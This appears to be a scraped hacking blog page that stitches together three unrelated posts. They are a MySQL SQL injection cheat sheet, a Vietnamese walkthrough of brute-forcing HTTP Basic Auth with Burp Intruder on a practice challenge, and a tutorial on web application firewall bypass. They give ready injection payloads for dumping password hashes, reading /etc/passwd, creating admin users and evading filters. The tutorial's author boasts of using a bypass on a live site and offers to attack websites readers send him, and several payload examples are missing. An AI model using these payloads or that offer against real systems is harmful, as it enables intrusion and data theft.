MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases…


This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String Concatenation SELECT CONCAT(‘A’,’B’); #returns AB
SELECT CONCAT(‘A’,’B’,’C’); # returns ABC
If Statement SELECT if(1=1,’foo’,’bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address SELECT @@hostname;
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Location of DB files SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)

HTTP Basic Authentication Attack with Burp Intruder

Bài viết này tôi sẽ hướng dẫn các bạn sử dụng công cụ Intruder của Burp Suite để tấn công brute force username và password khi trang web yêu cầu xác thực sử dụng HTTP Basic Authentication.

Tôi sẽ sử dụng 1 challenge tôi tìm được trên mạng để demo cho các bạn.

Link tại đây:

Khi click vào Enter Pentester Academy ứng dụng sẽ bắt nhập username và password:


Sau khi đã thiết lập cho trình duyệt sử dụng Proxy của Burpsuite, tôi nhập thử 1 giá trị username và password, gói tin sẽ được chặn lại tại Burpsuite:


Ở đây chúng ta chỉ chú ý trường Authorization, trong đó chỉ định kiểu authen là Basic và giá trị username:password đã được base64 encode. Click chuột phải và chọn Send to Intruder. Sau khi thêm 2 dấu $ vào giá trị encode ở trên ta được như sau:


Chuyển sang tab Payload, ở mục Payload Sets ta chọn giá trị Payload Type là Custom Iterator.

Ở mục Payload Options, do challenge này có gợi ý là username chỉ có 2 trường hợp là admin  và nick nên tôi thêm 2 giá trị này cho iterator 1 như sau:


trong ô Separator for position 1 ta điền dấu 2 chấm “:” vì ở dạng basic authen giá trị username và password truyền đi được ngăn cách bởi dấu này.

Chuyển sang position 2, tức là thiết lập các trường hợp cho password, ở challenge ta có hint là password có độ dài 5 kí tự và chỉ gồm các chữ cái a, s, d nên tôi tạo 1 file mẫu bao gồm tất cả các hoán vị của 3 chữ cái trên, sau đó dùng chức năng load để thêm vào:


Ở biến thứ 2 ta không cần thiết lập Separator là dấu 2 chấm “:” như trước nữa.

Do giá trị username:password được base64 encode nên ta cần chọn trong mục Payload Processing như sau:


Sau khi thiết lập xong, ta tiến hành tấn công bằng cách chọn menu Intruder => Start Attack và xem request nào trả về response 200 OK:


Thu được kết quả là YWRtaW46YWFkZGQ=, cho vào menu decode ta thu được kết quả: admin:aaddd




Đăng lại từ:

This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A WAF is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. A WAF alone will not protect your website if your code is vulnerable, but a WAF and secure coding will. A WAF should be used as a tool in your tool shed, but you should never count on a WAF to keep attackers out because most, if not all WAF’s can be bypassed with the time and
brains.Today,we will take a look into how exactly to do this

SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to
kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in

//, — , /**/, #, –+, — -, ;%00

2. Case Changing:

Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:

Possible Regex filter:


id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)

3. Inline Comments:

Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:


Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– –

The above code would bypass the filter. Notice we can use “like” instead of “=”

Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– –

The above code should bypass the Union+select filters even where common inline comments didn’t work itself.

4. Buffer Overflow/Unexpected input:

Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

This bypass above works. I myself just used this against a Web site recently.

5. Replaced keywords(preg_replace and/or WAF’s with the same action):

Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:


As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:


6. Charachter encoding:
Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.

Examples of double encoding:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+

Some examples of double encoding are:

Single Quote ‘ %u0027
White Space:    %u0020
(                         %u0028
)                         %u0029

7. Putting it all together:

After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:

7a. Breaking the SQL statement: To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa

7b. Verbose Errors: When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):


And the error was something like:

Error at line 1 near ” “+1,2,3–

We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:


From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.

8. Advanced Bypassing Techniques: As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN:P When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?”‘] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also
properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:


When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit:)

Some other bypasses:

id=1+’UnI”On’+’SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.

If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!!!!!!!!!!!!!!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.


Web Application Hackers Handbook
SQL injections: Attack and Defense.